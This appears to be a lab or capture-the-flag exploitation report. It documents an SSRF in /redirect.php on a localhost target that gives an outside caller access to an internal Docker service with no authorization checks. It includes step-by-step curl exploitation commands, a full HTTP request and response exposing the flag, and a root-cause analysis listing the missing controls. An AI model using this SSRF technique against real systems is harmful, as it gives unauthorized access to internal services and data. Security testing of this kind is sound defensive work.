# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Trust Boundary Violation via SSRF - Network Isolation Bypass

**Summary:**
- **Vulnerable location:** `/internal-service/index.php` (complete absence of authorization validation)
- **Overview:** External attackers can bypass Docker network isolation by exploiting SSRF in `/redirect.php` to access the internal service, which has zero application-level authorization checks. The internal service incorrectly trusts all requests from the Docker network without validating caller identity, API keys, or authorization credentials.
- **Impact:** Complete unauthorized access to sensitive internal resources. Retrieved FLAG{6e5d772fb6e28ca52985079acf7bfa46d729870e6bae73166208f1fdcd831667} from internal service without any authorization.
- **Severity:** Critical

**Prerequisites:**
None - Exploitation requires only network access to http://localhost:34287

**Exploitation Steps:**

1. **Verify target is accessible**
   ```bash
   curl http://localhost:34287/
   ```
   Expected: Returns "Company Portal" landing page with URL submission form

2. **Confirm direct access to internal service is blocked**
   ```bash
   curl http://internal-service/
   ```
   Expected: Connection fails with "Could not resolve host: internal-service" (network isolation in place)

3. **Exploit SSRF to bypass network isolation and access internal service**
   ```bash
   curl "http://localhost:34287/redirect.php?url=http://internal-service/"
   ```
   
   **What happens:**
   - External attacker sends request to public web-app service
   - Web-app service executes `file_get_contents("http://internal-service/")` (SSRF)
   - Web-app has legitimate network access to internal-service (both on Docker bridge network)
   - Internal-service receives request and returns FLAG without any authorization check
   - Web-app proxies response back to attacker

4. **Extract FLAG from response**
   ```bash
   curl -s "http://localhost:34287/redirect.php?url=http://internal-service/" | grep "FLAG:"
   ```
   
   Result: `FLAG: FLAG{6e5d772fb6e28ca52985079acf7bfa46d729870e6bae73166208f1fdcd831667}`

**Proof of Impact:**

**Complete HTTP Transaction:**
```
Request:
GET /redirect.php?url=http://internal-service/ HTTP/1.1
Host: localhost:34287
User-Agent: curl/8.7.1
Accept: */*

Response:
HTTP/1.1 200 OK
Date: Mon, 27 Oct 2025 22:33:38 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Type: text/html; charset=UTF-8

<h1>Fetched Content</h1><pre>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Internal Service&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Internal Service&lt;/h1&gt;
    &lt;p&gt;This is a sensitive internal service.&lt;/p&gt;
FLAG: FLAG{6e5d772fb6e28ca52985079acf7bfa46d729870e6bae73166208f1fdcd831667}
&lt;/body&gt;
&lt;/html&gt;
</pre>
```

**Unauthorized Access Confirmed:**
- ✅ No authentication required (no credentials, tokens, or session cookies needed)
- ✅ No authorization validation on internal service (accepts all requests from Docker network)
- ✅ Network isolation bypassed at application layer (SSRF acts as proxy)
- ✅ Sensitive data retrieved (FLAG exposed to external attacker)

**Root Cause Analysis:**

The internal service (`/internal-service/index.php`) has **ZERO authorization checks**:

```php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Internal Service</title>
</head>
<body>
    <h1>Internal Service</h1>
    <p>This is a sensitive internal service.</p>
    FLAG: <FLAG>
</body>
</html>
```

**Missing Authorization Controls:**
1. ❌ No API key validation (`$_SERVER['HTTP_X_INTERNAL_API_KEY']` never checked)
2. ❌ No mutual TLS certificate validation
3. ❌ No source IP whitelist verification
4. ❌ No JWT/Bearer token validation
5. ❌ No request signature verification (HMAC, etc.)
6. ❌ No service-to-service authentication of any kind

The service blindly trusts all requests originating from the Docker network (10.89.10.0/24), creating a trust boundary violation when combined with the SSRF vulnerability in the web-app service.

**Notes:**

**Architectural Security Failure:**
This vulnerability represents a fundamental security architecture failure where network isolation is treated as the sole authorization mechanism. While Docker network isolation prevents direct external access, it provides zero defense against application-layer bypasses like SSRF. Defense-in-depth principles require that critical services validate caller identity and authorization at the application layer, regardless of network origin.

**Classification:**
This is a Context_Workflow authorization vulnerability (trust boundary violation) rather than traditional horizontal or vertical privilege escalation, because the application has no authentication system, user accounts, or roles. The "privilege escalation" occurs at the network context level: external network zone → internal network zone.

**Relationship to SSRF:**
While the SSRF vulnerability in `/redirect.php` is the enabler, this finding documents the authorization failure in `/internal-service/`. The internal service should have rejected the request even if SSRF allowed it to arrive. Proper service-to-service authorization would have prevented this exploitation regardless of the SSRF vulnerability's existence.
